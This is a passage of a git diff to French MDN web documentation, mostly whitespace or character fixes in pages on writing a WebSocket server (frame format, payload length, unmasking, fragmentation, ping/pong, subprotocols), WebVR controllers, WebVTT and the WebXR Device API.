Note: Vous devez masquer les messages même lorsque vous utilisez un socket sécurisé. Le champ `opcode` définit comment est interpêtée la _charge utile_ (`payload data`) : ainsi `0x0` indique la consigne "continuer", `0x1` indique du texte (qui est systématiquement encodé en UTF-8), `0x2` pour des données binaires, et d'autres "codes de contrôle" qui seront évoqués plus tard. Dans cette version des WebSockets, `0x3` à 0x7 et `0xB` à `0xF` n'ont pas de significations particulières. -Le bit FIN indique si c'est le dernier message de la série \[_NDT : pour la concaténation, pas la fin de la connexion elle-même_]. S'il est à 0, alors le serveur doit attendre encore une ou plusieurs parties. Sinon le message est considéré comme complet. +Le bit FIN indique si c'est le dernier message de la série \[_NDT : pour la concaténation, pas la fin de la connexion elle-même_]. S'il est à 0, alors le serveur doit attendre encore une ou plusieurs parties. Sinon le message est considéré comme complet. -### Connaître la taille des *données utiles* +### Connaître la taille des *données utiles* -Pour (pouvoir) lire les _données utiles_, vous devez savoir quand arrêter la lecture dans le flux des trames entrantes vers le serveur. C'est pourquoi il est important de connaître la taille des _données utiles_. Et malheureusement ce n'est pas toujours simple. Voici quelques étapes essentielles à connaître : +Pour (pouvoir) lire les _données utiles_, vous devez savoir quand arrêter la lecture dans le flux des trames entrantes vers le serveur. C'est pourquoi il est important de connaître la taille des _données utiles_. Et malheureusement ce n'est pas toujours simple. Voici quelques étapes essentielles à connaître : 1. (_étape 1_) Lire tout d'abord les bits 9 à 15 (inclu) et les interprêter comme un entier non-signé. S'il équivaut à 125 ou moins, alors il correspond à la taille totale de la charge utile. - S'il vaut à 126, allez à l'étape 2 ou sinon, s'il vaut 127, allez à l'étape 3. + S'il vaut à 126, allez à l'étape 2 ou sinon, s'il vaut 127, allez à l'étape 3. 2. (_étape 2_) Lire les 16 bits supplémentaires et les interprêter comme précédent (entier non-signé). Vous avez alors la taille des données utiles. 3. (_étape 3_) Lire les 64 bits supplémentaires et les interprêter comme précédent (entier non-signé). Vous avez alors la taille des données utiles. Attention, le bit le plus significatif doit rester à 0. -### Lire et démasquer les données +### Lire et démasquer les données -Si le bit MASK a été fixé (et il devrait l'être, pour les messages client-serveur), vous devez lire les 4 prochains octets (32 bits) : ils sont la clé de masquage. Une fois la longueur de charge utile connue et la clé de masquage décodée, vous pouvez poursuivre la lecture des autres bits comme étant les données utiles masquées. Par convention pour le reste du paragraphe, appelons-les _données encodées_, et la clé *masque*. Pour décoder les données, bouclez les octets du texte reçu en XOR avec l'octet du (_i modulo 4_) ième octet du *masque*. En voici le pseudo-code (_JavaScript valide_) : +Si le bit MASK a été fixé (et il devrait l'être, pour les messages client-serveur), vous devez lire les 4 prochains octets (32 bits) : ils sont la clé de masquage. Une fois la longueur de charge utile connue et la clé de masquage décodée, vous pouvez poursuivre la lecture des autres bits comme étant les données utiles masquées. Par convention pour le reste du paragraphe, appelons-les _données encodées_, et la clé *masque*. Pour décoder les données, bouclez les octets du texte reçu en XOR avec l'octet du (_i modulo 4_) ième octet du *masque*. En voici le pseudo-code (_JavaScript valide_) : var DECODED = ""; for (var i = 0; i < ENCODED.length; i++) { DECODED[i] = ENCODED[i] ^ MASK[i % 4]; } -> **Note :** Ici la variable `DECODED` correspond aux données utiles à votre application - en fonction de l'utilisation ou non d'un sous-protocole (_si c'est `json`, vous devez encore décoder les données utiles reçues avec le parseur JSON_). +> **Note :** Ici la variable `DECODED` correspond aux données utiles à votre application - en fonction de l'utilisation ou non d'un sous-protocole (_si c'est `json`, vous devez encore décoder les données utiles reçues avec le parseur JSON_). -### La fragmentation des messages +### La fragmentation des messages Les champs FIN et opcodes fonctionnent ensemble pour envoyer un message découpé en une multitude de trames. C'est ce que l'on appelle la _fragmentation des messages_. La fragmentation est seulement possible avec les opcodes de `0x0` à `0x2`. -Souvenez-vous de l'intérêt de l'opcode et ce qu'il implique dans l'échange des trames. Pour _0x1_ c'est du texte, pour _0x2_ des données binaires, etc. Toutefois pour _0x0_, la frame est dite "continue" (elle s'ajoute à la précédente). En voici un exemple plus clair, où il y a en réalité deux textes de message (sur 4 trames différentes) : +Souvenez-vous de l'intérêt de l'opcode et ce qu'il implique dans l'échange des trames. Pour _0x1_ c'est du texte, pour _0x2_ des données binaires, etc. Toutefois pour _0x0_, la frame est dite "continue" (elle s'ajoute à la précédente). En voici un exemple plus clair, où il y a en réalité deux textes de message (sur 4 trames différentes) : Client: FIN=1, opcode=0x1, msg="hello" Server: (process complete message immediately) Hi. @@ -143,40 +143,40 @@ Souvenez-vous de l'intérêt de l'opcode et ce qu'il implique dans l'échange Client: FIN=1, opcode=0x0, msg="year!" Server: (process complete message) Happy new year to you too! -La première trame dispose d'un message en entier (FIN = 1 et optcode est différent de 0x0) : le serveur peut traiter la requête reçue et y répondre. A partir de la seconde trame et pour les deux suivantes (soit trois trames), l'opcode à 0x1 puis 0x0 signifie qu'il s'agit d'un texte suivi du reste du contenu (0x1 = texte ; 0x0 = la suite). La 3e trame à FIN = 1 indique la fin de la requête. -Voir la [section 5.4](http://tools.ietf.org/html/rfc6455#section-5.4) de la spécification pour les détails de cette partie. +La première trame dispose d'un message en entier (FIN = 1 et optcode est différent de 0x0) : le serveur peut traiter la requête reçue et y répondre. A partir de la seconde trame et pour les deux suivantes (soit trois trames), l'opcode à 0x1 puis 0x0 signifie qu'il s'agit d'un texte suivi du reste du contenu (0x1 = texte ; 0x0 = la suite). La 3e trame à FIN = 1 indique la fin de la requête. +Voir la [section 5.4](http://tools.ietf.org/html/rfc6455#section-5.4) de la spécification pour les détails de cette partie. -## Pings-Pongs : le "coeur" des WebSockets +## Pings-Pongs : le "coeur" des WebSockets -A n'importe quel moment après le processus de poignée de mains, le client ou le serveur peut choisir d'envoyer un _ping_ à l'autre partie. Lorsqu'il est reçu, l'autre partie doit renvoyer dès possible un _pong_. Cette pratique permet de vérifier et de maintenir la connexion avec le client par exemple. +A n'importe quel moment après le processus de poignée de mains, le client ou le serveur peut choisir d'envoyer un _ping_ à l'autre partie. Lorsqu'il est reçu, l'autre partie doit renvoyer dès possible un _pong_. Cette pratique permet de vérifier et de maintenir la connexion avec le client par exemple. -Le _ping_ ou le _pong_ sont des trames classiques dites **de contrôle**. Les _pings_ disposent d'un opcode à `0x9` et les _pongs_ à `0xA`. Lorsqu'un _ping_ est envoyé, le _pong_ doit disposer de la même donnée utile en réponse que le ping (et d'une taille maximum autorisé de 125). Le _pong_ seul (c-à-d sans _ping_) est ignoré. +Le _ping_ ou le _pong_ sont des trames classiques dites **de contrôle**. Les _pings_ disposent d'un opcode à `0x9` et les _pongs_ à `0xA`. Lorsqu'un _ping_ est envoyé, le _pong_ doit disposer de la même donnée utile en réponse que le ping (et d'une taille maximum autorisé de 125). Le _pong_ seul (c-à-d sans _ping_) est ignoré. > **Note :** Lorsque plusieurs pings sont envoyés à la suite, un **seul** pong suffit en réponse (_le plus récent pour la donnée utile renvoyée_). -## Clore la connexion +## Clore la connexion -La connexion peut être close à l'initiative du client ou du serveur grâce à l'envoi d'une trame de contrôle contenant des données spécifiques permettant d'interrompre la poignée de main (de lever définitivement le masque pour être plus précis ; voir la [section 5.5.1](http://tools.ietf.org/html/rfc6455#section-5.5.1)). Dès la réception de la trame, le récepteur envoit une trame spécifique de fermeture en retour (pour signifier la bonne compréhension de la fin de connexion). C'est l'émetteur à l'origine de la fermeture qui doit clore la connexion ; toutes les données supplémentaires sont éliminés / ignorés. +La connexion peut être close à l'initiative du client ou du serveur grâce à l'envoi d'une trame de contrôle contenant des données spécifiques permettant d'interrompre la poignée de main (de lever définitivement le masque pour être plus précis ; voir la [section 5.5.1](http://tools.ietf.org/html/rfc6455#section-5.5.1)). Dès la réception de la trame, le récepteur envoit une trame spécifique de fermeture en retour (pour signifier la bonne compréhension de la fin de connexion). C'est l'émetteur à l'origine de la fermeture qui doit clore la connexion ; toutes les données supplémentaires sont éliminés / ignorés. ## Diverses informations utiles -> **Note :** L'ensemble des codes, extensions et sous-protocoles liés aux WebSocket sont enregistrés dans le (registre) [IANA WebSocket Protocol Registry](http://www.iana.org/assignments/websocket/websocket.xml). +> **Note :** L'ensemble des codes, extensions et sous-protocoles liés aux WebSocket sont enregistrés dans le (registre) [IANA WebSocket Protocol Registry](http://www.iana.org/assignments/websocket/websocket.xml). Les extensions et sous-protocoles des WebSockets sont négociés durant [l'échange des entêtes de la poignée de mains](#PoignéeDeMain). Si l'on pourrait croire qu'extensions et sous-protocles sont finalement la même chose, il n'en est rien : **le contrôle des extensions agit sur les trames** ce qui modifie la charge utile ; **alors que les sous-protocoles modifient uniquement la charge utile,** et rien d'autre. Les extensions sont optionnelles et généralisées (par exemple pour la compression des données) ; les sous-protocoles sont souvent obligatoires et ciblés (par exemple dans le cadre d'une application de chat ou d'un jeu MMORPG). -> **Attention :** Les sous-extensions ou les sous-protocoles ne sont pas obligatoires pour l'échange de données par WebSockets ; mais l'esprit développé ici est de rendre soit plus efficace ou sécurisée la transmission (l'esprit d'une extension) ; soit de délimiter et de normaliser le contenu de l'échange (l'esprit d'un sous-protocole ; qui étend donc le protocole par défaut des WebSockets qu'est l'échange de texte simple au format UTF-8). +> **Attention :** Les sous-extensions ou les sous-protocoles ne sont pas obligatoires pour l'échange de données par WebSockets ; mais l'esprit développé ici est de rendre soit plus efficace ou sécurisée la transmission (l'esprit d'une extension) ; soit de délimiter et de normaliser le contenu de l'échange (l'esprit d'un sous-protocole ; qui étend donc le protocole par défaut des WebSockets qu'est l'échange de texte simple au format UTF-8). ### Les extensions L'idée des extensions pourrait être, par exemple, la compression d'un fichier avant de l'envoyer par courriel / email à quelqu'un : les données transférées ne changent pas de contenu, mais leur format oui (et leur taille aussi...). Ce n'est donc pas le format du contenu qui change que le mode transmission - c'est le principe des extensions en WebSockets, dont le principe de base est d'être un protocole simple d'échange de données. -> **Note :** Les extensions sont présentées et expliquées dans les sections 5.8, 9, 11.3.2, and 11.4 de la documentation sus-nommées. +> **Note :** Les extensions sont présentées et expliquées dans les sections 5.8, 9, 11.3.2, and 11.4 de la documentation sus-nommées. -### Les sous-protocoles +### Les sous-protocoles Les sous-protocoles sont à comparer à [un schéma XML](https://en.wikipedia.org/wiki/XML_schema) ou [une déclaration de DocType](https://en.wikipedia.org/wiki/Document_Type_Definition). Ainsi vous pouvez utiliser seulement du XML et sa syntaxe et, imposer par le biais des sous-protocoles, son utilisation durant l'échange WebSocket. C'est l'intérêt de ces sous-protocoles : établir une structure définie (_et intangible : le client se voit imposer la mise en oeuvre par le serveur_), bien que les deux doivent l'accepter pour communiquer ensemble. -> **Note :** Les sous-protocoles sont expliqués dans les sections 1.9, 4.2, 11.3.4, and 11.5 de la documentation sus-nommés. +> **Note :** Les sous-protocoles sont expliqués dans les sections 1.9, 4.2, 11.3.4, and 11.5 de la documentation sus-nommés. Exemple : un client souhaite demander un sous-protocole spécifique. Pour se faire, il envoie dans les entêtes d'origine du processus de poignées de mains : @@ -194,11 +194,11 @@ Le serveur doit désormais choisir l'un des protocoles suggérés par le client Sec-WebSocket-Protocol: soap -> **Attention :** Le serveur ne peut (ne doit) envoyer plus d'un entête `Sec-Websocket-Protocol`. **S'il n'en supporte aucun, il ne doit pas renvoyer l'entête `Sec-WebSocket-Protocol` (l'entête vide n'est pas correct).** Le client peut alors interrompre la connexion s'il n'a pas le sous-protocole qu'il souhaite (ou qu'il supporte). +> **Attention :** Le serveur ne peut (ne doit) envoyer plus d'un entête `Sec-Websocket-Protocol`. **S'il n'en supporte aucun, il ne doit pas renvoyer l'entête `Sec-WebSocket-Protocol` (l'entête vide n'est pas correct).** Le client peut alors interrompre la connexion s'il n'a pas le sous-protocole qu'il souhaite (ou qu'il supporte). Si vous souhaitez que votre serveur puisse supporter certains sous-protocoles, vous pourriez avoir besoin d'une application ou de scripts supplémentaires sur le serveur. Imaginons par exemple que vous utilisiez le sous-protocole json - où toutes les données échangées par WebSockets sont donc formatés suivant le format [JSON](https://fr.wikipedia.org/wiki/JavaScript_Object_Notation). Si le client sollicite ce sous-protocole et que le serveur souhaite l'accepter, vous **devez disposer** d'un parseur (d'un décodeur) JSON et décoder les données par celui-ci. -> **Note :** Pour éviter des conflits d'espaces de noms, il est recommandé d'utiliser le sous-protocole comme un sous-domaine de celui utilisé. Par exemple si vous utilisez un sous-protocole propriétaire qui utilise un format d'échange de données non-standard pour une application de _chat_ sur le domaine _exemple.com_, vous devrirez utiliser : `Sec-WebSocket-Protocol: chat.exemple.com`. S'il y a différentes versions possibles, modifiez le chemin pour faire correspondre le path à votre version comme ceci : `chat.exemple.com/2.0`. Notez que ce n'est pas obligatoire, c'est une convention d'écriture optionnel et qui peut être utilisée d'une toute autre façon. +> **Note :** Pour éviter des conflits d'espaces de noms, il est recommandé d'utiliser le sous-protocole comme un sous-domaine de celui utilisé. Par exemple si vous utilisez un sous-protocole propriétaire qui utilise un format d'échange de données non-standard pour une application de _chat_ sur le domaine _exemple.com_, vous devrirez utiliser : `Sec-WebSocket-Protocol: chat.exemple.com`. S'il y a différentes versions possibles, modifiez le chemin pour faire correspondre le path à votre version comme ceci : `chat.exemple.com/2.0`. Notez que ce n'est pas obligatoire, c'est une convention d'écriture optionnel et qui peut être utilisée d'une toute autre façon. ## Contenus associés diff --git a/files/fr/web/api/webvr_api/using_vr_controllers_with_webvr/index.md b/files/fr/web/api/webvr_api/using_vr_controllers_with_webvr/index.md index eaf25ee8e6..5b46a56c61 100644 --- a/files/fr/web/api/webvr_api/using_vr_controllers_with_webvr/index.md +++ b/files/fr/web/api/webvr_api/using_vr_controllers_with_webvr/index.md @@ -16,7 +16,7 @@ Avant de commencer, vous devriez être déjà avoir des bases de l'API WebVR. Si ## L'API Gamepad -L'[API Gamepad](/en-US/docs/Web/API/Gamepad_API) est une API assez bien compatible, qui donne aux développeur·euse·s l'accès aux manettes de jeu, connectés à leur ordinateur et de les utilisé dans dans applications web. Les contrôleurs peuvent basiquement être accessible comme des objets {{domxref("Gamepad")}}, avec lesquels nous pouvons faire des requêtes pour savoir quels boutons sont appuyés ou quels joystick sont actionnés, etc.. +L'[API Gamepad](/en-US/docs/Web/API/Gamepad_API) est une API assez bien compatible, qui donne aux développeur·euse·s l'accès aux manettes de jeu, connectés à leur ordinateur et de les utilisé dans dans applications web. Les contrôleurs peuvent basiquement être accessible comme des objets {{domxref("Gamepad")}}, avec lesquels nous pouvons faire des requêtes pour savoir quels boutons sont appuyés ou quels joystick sont actionnés, etc.. Vous pouvez avoir plus d'information sur l'usage de API de base des Gamepad avec l'article [Utilisez l'API Gamepad](/en-US/docs/Web/API/Gamepad_API/Using_the_Gamepad_API), et [Implementer des contrôles en utilisant l'API Gamepad](/en-US/docs/Games/Techniques/Controls_Gamepad_API). diff --git a/files/fr/web/api/webvtt_api/index.md b/files/fr/web/api/webvtt_api/index.md index 6031c99c90..f6dd796a3c 100644 --- a/files/fr/web/api/webvtt_api/index.md +++ b/files/fr/web/api/webvtt_api/index.md @@ -83,7 +83,7 @@ Réexaminons le premier exemple, et observons la structure plus précisément. Dans chaque réplique: -- La première ligne commence par un temps correspondant au moment où il apparait. +- La première ligne commence par un temps correspondant au moment où il apparait. - Sur la même ligne nous avons une chaîne `-->`. - Nous finissions la ligne par un second temps indiquant la fin de l'affichage du texte. - Nous pouvons alors afficher une ou plusieurs lignes commençant par un tiret (-), chacune contenant une partie du texte à afficher. @@ -96,7 +96,7 @@ Il est important de ne pas utiliser de ligne vide sans réplique, par exemple en Les commentaires sont des composants optionels qui peuvent être utilisés pour ajouter des informations à un fichier WebVTT. Les commentaires sont prévus pour ceux qui liront le fichier, ils ne seront pas vus par les utilisateurs. Les commentaires peuvent contenir de nouvelles ligne mais ne peuvent pas contenir de ligne vide ce qui équivaut à deux nouvelles lignes. Une ligne vide correspond à la fin d'un commentaire. -Un commentaire ne peut contenir la chaîne "`-->`", l'esperluette `&` ou bien le symbole plus-petit que `<`. Si vous voulez utiliser ces caractères, vous devez utiliser les caractères échapés comme `&`pour l'esperluette et `<` pour le plus petit que. Il est aussi recommandé `>` pour le plus grand que, afin d'éviter toutes confusions. +Un commentaire ne peut contenir la chaîne "`-->`", l'esperluette `&` ou bien le symbole plus-petit que `<`. Si vous voulez utiliser ces caractères, vous devez utiliser les caractères échapés comme `&`pour l'esperluette et `<` pour le plus petit que. Il est aussi recommandé `>` pour le plus grand que, afin d'éviter toutes confusions. Un commentaire est constitué de ces trois composants: diff --git a/files/fr/web/api/webxr_device_api/index.md b/files/fr/web/api/webxr_device_api/index.md index 512cc85f97..fab5c5825f 100644 --- a/files/fr/web/api/webxr_device_api/index.md +++ b/files/fr/web/api/webxr_device_api/index.md @@ -13,52 +13,52 @@ translation_of: Web/API/WebXR_Device_API --- {{DefaultAPISidebar("WebXR Device API")}} -**WebXR** est un ensemble de standards utilisés pour supporter le rendu de scènes 3D vers du matériel conçu pour présenter des mondes virtuels (**Réalité Virtuelle**, ou **VR**), ou pour ajouter des contenus graphiques dans le monde réel, (**Réalité Augmentée**, ou **AR**). +**WebXR** est un ensemble de standards utilisés pour supporter le rendu de scènes 3D vers du matériel conçu pour présenter des mondes virtuels (**Réalité Virtuelle**, ou **VR**), ou pour ajouter des contenus graphiques dans le monde réel, (**Réalité Augmentée**, ou **AR**). -L'**API de périphérique WebXR** implémente le coeur des fonctionnalités WebXR, gère la sélection de périphériques de sortie, affiche la scène 3D sur le périphérique choisi à la fréquence d'images appropriée, et gère les vecteurs de mouvement créés en utilisant les contrôleurs d'entrée. +L'**API de périphérique WebXR** implémente le coeur des fonctionnalités WebXR, gère la sélection de périphériques de sortie, affiche la scène 3D sur le périphérique choisi à la fréquence d'images appropriée, et gère les vecteurs de mouvement créés en utilisant les contrôleurs d'entrée. -Les périphèriques compatibles WebXR comprennent les casques 3D entièrement immersifs avec le suivi du mouvement et de l'orientation, les lunettes qui supperposent des contenus graphiques par dessus la scène du monde réel au travers des images, et les smartphones qui augmentent la realité en capturant le monde via une camera et en qui augmentent la scène avec des images générées par ordinateur. +Les périphèriques compatibles WebXR comprennent les casques 3D entièrement immersifs avec le suivi du mouvement et de l'orientation, les lunettes qui supperposent des contenus graphiques par dessus la scène du monde réel au travers des images, et les smartphones qui augmentent la realité en capturant le monde via une camera et en qui augmentent la scène avec des images générées par ordinateur. Pour accomplir toutes ces choses, l'API de périphériques WebXR fournit les fonctionnalités clés suivantes: - Trouver un périphérique de sortie VR ou AR compatible - Afficher une scène 3D sur le périphérique à la fréquence d'images appropriée - (Optionellement) refléter la sortie sur un affichage 2D -- Créer des vecteurs représentant les mouvements des commandes d'entrée +- Créer des vecteurs représentant les mouvements des commandes d'entrée -Au niveau le plus basique, une scène est présentée en 3D en calculant la perspective à appliquer à la scène dans le but de l'afficher du point de vue de chacun des yeux de l'utilisateur en calculant la position de chaque oeil et en affichant la scène de cette position, regardant dans la même direction que l'utilisateur. Ces deux images sont conçuent à l'intérieur d'une seule mémoire tampon, avec l'image de rendu pour l'oeil gauche dans la partie gauche et l'image de rendu de l'oeil droit dans la partie droite de la mémoire tampon. Une fois que les perspectives des deux yeux sur la scène ont été conçues, la mémoire résultante est délivrée au périphérique WebXR pour être présentée à l'utilisateur via son casque ou tout autre périphérique d'affichage approprié. +Au niveau le plus basique, une scène est présentée en 3D en calculant la perspective à appliquer à la scène dans le but de l'afficher du point de vue de chacun des yeux de l'utilisateur en calculant la position de chaque oeil et en affichant la scène de cette position, regardant dans la même direction que l'utilisateur. Ces deux images sont conçuent à l'intérieur d'une seule mémoire tampon, avec l'image de rendu pour l'oeil gauche dans la partie gauche et l'image de rendu de l'oeil droit dans la partie droite de la mémoire tampon. Une fois que les perspectives des deux yeux sur la scène ont été conçues, la mémoire résultante est délivrée au périphérique WebXR pour être présentée à l'utilisateur via son casque ou tout autre périphérique d'affichage approprié. ## Les concepts et l'utilisation des périphériques WebXR -Alors que l'ancienne [WebVR API](/en-US/docs/Web/API/WebVR_API) avait été conçue uniquement pour le support de la réalité virtuelle (VR), l'API WebXR supporte à la fois la VR et la réalité augmentée (AR) sur le web. Le support pour la fonctionnalité de réalité augmentée est ajouté par le module WebXR Augmented Reality. +Alors que l'ancienne [WebVR API](/en-US/docs/Web/API/WebVR_API) avait été conçue uniquement pour le support de la réalité virtuelle (VR), l'API WebXR supporte à la fois la VR et la réalité augmentée (AR) sur le web. Le support pour la fonctionnalité de réalité augmentée est ajouté par le module WebXR Augmented Reality. -Un périphérique XR typique peut avoir aussi bien 3 que 6 degrés de liberté et peut ou non posséder un capteur de position externe. +Un périphérique XR typique peut avoir aussi bien 3 que 6 degrés de liberté et peut ou non posséder un capteur de position externe. L'équipement peut également inclure un accéléromètre, un baromètre, ou d'autres capteurs qui sont utilisés pour détecter lorsque l'utilisateur se déplace dans l'espace, tourne sa tête, ou similaires. ## Accéder à l'API WebXR -Pour accéder à l'API WebXR à l'intérieur du contexte d'une fenêtre donnée, utiliser la propriété {{domxref("navigator.xr")}}, qui retourne un objet {{domxref("XRSystem")}} au travers duquel toute l'API de périphérique WebXR Device API est alors exposée. +Pour accéder à l'API WebXR à l'intérieur du contexte d'une fenêtre donnée, utiliser la propriété {{domxref("navigator.xr")}}, qui retourne un objet {{domxref("XRSystem")}} au travers duquel toute l'API de périphérique WebXR Device API est alors exposée. - {{domxref("navigator.xr")}} {{ReadOnlyInline}} - - : Cette propriété, ajoutée à l'interface {{domxref("Navigator")}}, retourne l'objet {{domxref("XRSystem")}} au travers duquel l'API WebXR est exposée. Si cette propriété est missing ou `null`, WebXR n'est pas disponible. + - : Cette propriété, ajoutée à l'interface {{domxref("Navigator")}}, retourne l'objet {{domxref("XRSystem")}} au travers duquel l'API WebXR est exposée. Si cette propriété est missing ou `null`, WebXR n'est pas disponible. ## Les interfaces WebXR - {{DOMxRef("XRSystem")}} - - : La propriété {{domxref("Navigator.xr", "navigator.xr")}} retourne l'instance de la fenêtre de {{domxref("XRSystem")}}, qui est le mécanisme par lequel votre code acède à l'API WebXR. En utilisant l'interface `XRSystem`, vous pouvez créer {{domxref("XRSession")}} pour représenter les sessions AR et/ou VR actuelles. + - : La propriété {{domxref("Navigator.xr", "navigator.xr")}} retourne l'instance de la fenêtre de {{domxref("XRSystem")}}, qui est le mécanisme par lequel votre code acède à l'API WebXR. En utilisant l'interface `XRSystem`, vous pouvez créer {{domxref("XRSession")}} pour représenter les sessions AR et/ou VR actuelles. - {{DOMxRef("XRFrame")}} - - : Lors de la présentation d'une session XR, l'état de tous les objets suivis qui composent la session sont représentés par une `XRFrame`. Pour obtenir un `XRFrame`, appeler la méthode {{domxref("XRSession.requestAnimationFrame", "requestAnimationFrame()")}} de la session, en fournissant un callback qui sera appelé avec le `XRFrame` une fois disponible. Les événements qui communiquent avec des états de suivi utiliseront aussi `XRFrame` pour contenir ces informations. + - : Lors de la présentation d'une session XR, l'état de tous les objets suivis qui composent la session sont représentés par une `XRFrame`. Pour obtenir un `XRFrame`, appeler la méthode {{domxref("XRSession.requestAnimationFrame", "requestAnimationFrame()")}} de la session, en fournissant un callback qui sera appelé avec le `XRFrame` une fois disponible. Les événements qui communiquent avec des états de suivi utiliseront aussi `XRFrame` pour contenir ces informations. - {{DOMxRef("XRRenderState")}} - - : Fournis un ensemble de propriétés configurables qui changent la façon dont les images produites par une `XRSession` sont composées. + - : Fournis un ensemble de propriétés configurables qui changent la façon dont les images produites par une `XRSession` sont composées. - {{DOMxRef("XRSession")}} - - : Fournit l'interface pour interagir avec le matériel XR. Une fois que la `XRSession` est obtenue depuis {{domxref("XRSystem.requestSession", "navigator.xr.requestSession()")}}, la session peut être utilisée pour vérifier la position et l'orientation du visualiseur, interroger le périphérique pour obtenir des informations sur l'environnement, et présenter le monde virtuel ou augmenté à l'utilisateur. + - : Fournit l'interface pour interagir avec le matériel XR. Une fois que la `XRSession` est obtenue depuis {{domxref("XRSystem.requestSession", "navigator.xr.requestSession()")}}, la session peut être utilisée pour vérifier la position et l'orientation du visualiseur, interroger le périphérique pour obtenir des informations sur l'environnement, et présenter le monde virtuel ou augmenté à l'utilisateur. - {{DOMxRef("XRSpace")}} - - : `XRSpace` est une classe de base opaque sur laquelle toutes les interfaces de système de coordonnées virtuelles sont basées. Les positions dans WebXR sotn toujours exprimées par rapport à un `XRSpace` particulier au moment où un {{domxref("XRFrame")}} a lieu. Ce système de coordonnées dans l'espace a son origine à une position physique donnée. + - : `XRSpace` est une classe de base opaque sur laquelle toutes les interfaces de système de coordonnées virtuelles sont basées. Les positions dans WebXR sotn toujours exprimées par rapport à un `XRSpace` particulier au moment où un {{domxref("XRFrame")}} a lieu. Ce système de coordonnées dans l'espace a son origine à une position physique donnée. - {{DOMxRef("XRReferenceSpace")}} - - : Une sous classe de {{domxref("XRSpace")}} qui est utilisée pour identifier une relation spatiale en relation avec l'environnement physique de l'utilisateur. Le système de coordonées `XRReferenceSpace` devrait rester inchangé pendant toute la durée de vie du {{domxref("XRSession")}}. Le monde n'a pas de frontières et s'étend infiniment dans toutes les directions. + - : Une sous classe de {{domxref("XRSpace")}} qui est utilisée pour identifier une relation spatiale en relation avec l'environnement physique de l'utilisateur. Le système de coordonées `XRReferenceSpace` devrait rester inchangé pendant toute la durée de vie du {{domxref("XRSession")}}. Le monde n'a pas de frontières et s'étend infiniment dans toutes les directions. - {{DOMxRef("XRBoundedReferenceSpace")}} - - : `XRBoundedReferenceSpace` étend le système de coordonées {{domxref("XRReferenceSpace")}} pour inclure en plus la prise en charge d'un monde aux limites définies. Contrairement à `XRReferenceSpace`, l'origine doit être localisée au niveau du sol (c'est à dire *y* = 0). Les composantes x et z de l'origine sont présumées être localisées au centre ou à proximité du centre de la pièce ou de la surface. + - : `XRBoundedReferenceSpace` étend le système de coordonées {{domxref("XRReferenceSpace")}} pour inclure en plus la prise en charge d'un monde aux limites définies. Contrairement à `XRReferenceSpace`, l'origine doit être localisée au niveau du sol (c'est à dire *y* = 0). Les composantes x et z de l'origine sont présumées être localisées au centre ou à proximité du centre de la pièce ou de la surface. - {{DOMxRef("XRView")}} - : Représente une vue unique dans la scène XR pour une image particulière. Chaque XRView correspond à la surface d'affichage vidéo utilisée pour présenter la scène à l'utilisateur. Par exemple, un appareil XR donné peut avoir deux vues: une pour l'œil gauche et une pour la droite. Chaque vue a un décalage utilisé pour déplacer la position de la vue par rapport à la caméra, afin de permettre la création d'effets stéréographiques. - {{DOMxRef("XRViewport")}} @@ -68,15 +68,15 @@ Pour accéder à l'API WebXR à l'intérieur du contexte d'une fenêtre donnée, - {{DOMxRef("XRPose")}} - : Décrit une position et une orientation dans l'espace par rapport à un {{domxref ("XRSpace")}}. - {{DOMxRef("XRViewerPose")}} - - : Basé sur {{domxref("XRPose")}}, `XRViewerPose` spécifie l'état d'un spectateur de la scène WebXR comme indiqué par le périphérique XR. Un tableau d'objets {{domxref ("XRView")}} est inclus, chacun représentant une perspective de la scène. Par exemple, il faut deux vues pour créer la vue stéréoscopique telle que perçue par la vision humaine: une pour l'œil gauche et une seconde pour l'œil droit. Une vue est légèrement décalée vers la gauche par rapport à la position du visualiseur et l'autre vue est décalée vers la droite de la même distance. La liste de vues peut également être utilisée pour représenter les perspectives de chacun des spectateurs d'une scène, dans un environnement multi-utilisateurs. + - : Basé sur {{domxref("XRPose")}}, `XRViewerPose` spécifie l'état d'un spectateur de la scène WebXR comme indiqué par le périphérique XR. Un tableau d'objets {{domxref ("XRView")}} est inclus, chacun représentant une perspective de la scène. Par exemple, il faut deux vues pour créer la vue stéréoscopique telle que perçue par la vision humaine: une pour l'œil gauche et une seconde pour l'œil droit. Une vue est légèrement décalée vers la gauche par rapport à la position du visualiseur et l'autre vue est décalée vers la droite de la même distance. La liste de vues peut également être utilisée pour représenter les perspectives de chacun des spectateurs d'une scène, dans un environnement multi-utilisateurs. - {{DOMxRef("XRInputSource")}} - - : Représente tout périphérique d'entrée que l'utilisateur peut utiliser pour effectuer des actions ciblées dans le même espace virtuel que le visualiseur. Les sources d'entrée peuvent inclure des dispositifs tels que des contrôleurs manuels, des systèmes de suivi optique et d'autres dispositifs explicitement associés au dispositif XR. Les autres périphériques d'entrée tels que les claviers, les souris et les manettes de jeu ne sont pas présentés comme des instances `XRInputSource`. + - : Représente tout périphérique d'entrée que l'utilisateur peut utiliser pour effectuer des actions ciblées dans le même espace virtuel que le visualiseur. Les sources d'entrée peuvent inclure des dispositifs tels que des contrôleurs manuels, des systèmes de suivi optique et d'autres dispositifs explicitement associés au dispositif XR. Les autres périphériques d'entrée tels que les claviers, les souris et les manettes de jeu ne sont pas présentés comme des instances `XRInputSource`. - {{DOMxRef("XRWebGLLayer")}} - - : Une couche qui sert de tampon d'image [WebGL](/en-US/docs/Web/API/WebGL_API) dans lequel la vue d'une scène est rendue. L'utilisation de WebGL pour afficher la scène offre des avantages de performances substantiels grâce à l'accélération graphique. + - : Une couche qui sert de tampon d'image [WebGL](/en-US/docs/Web/API/WebGL_API) dans lequel la vue d'une scène est rendue. L'utilisation de WebGL pour afficher la scène offre des avantages de performances substantiels grâce à l'accélération graphique. ### Interfaces événementielles -Les interfaces suivantes sont utilisées pour représenter les événements utilisés par l'API WebXR. +Les interfaces suivantes sont utilisées pour représenter les événements utilisés par l'API WebXR. - {{domxref("XRInputSourceEvent")}} - : Envoyé lorsque l'état d'un {{domxref ("XRInputSource")}} change. Cela peut se produire, par exemple, lorsque la position et/ou l'orientation de l'appareil change, ou lorsque des boutons sont enfoncés ou relâchés. @@ -87,12 +87,12 @@ Les interfaces suivantes sont utilisées pour représenter les événements uti - {{domxref("XRSessionEvent")}} - : Envoyé pour indiquer que l'état d'un {{domxref ("XRSession")}} a changé. Par exemple, si la position et/ou l'orientation -## Extensions de l'API WebGL +## Extensions de l'API WebGL L'API WebGL est étendue par la spécification WebXR pour augmenter le contexte WebGL afin de lui permettre d'être utilisée pour afficher des vues dans un 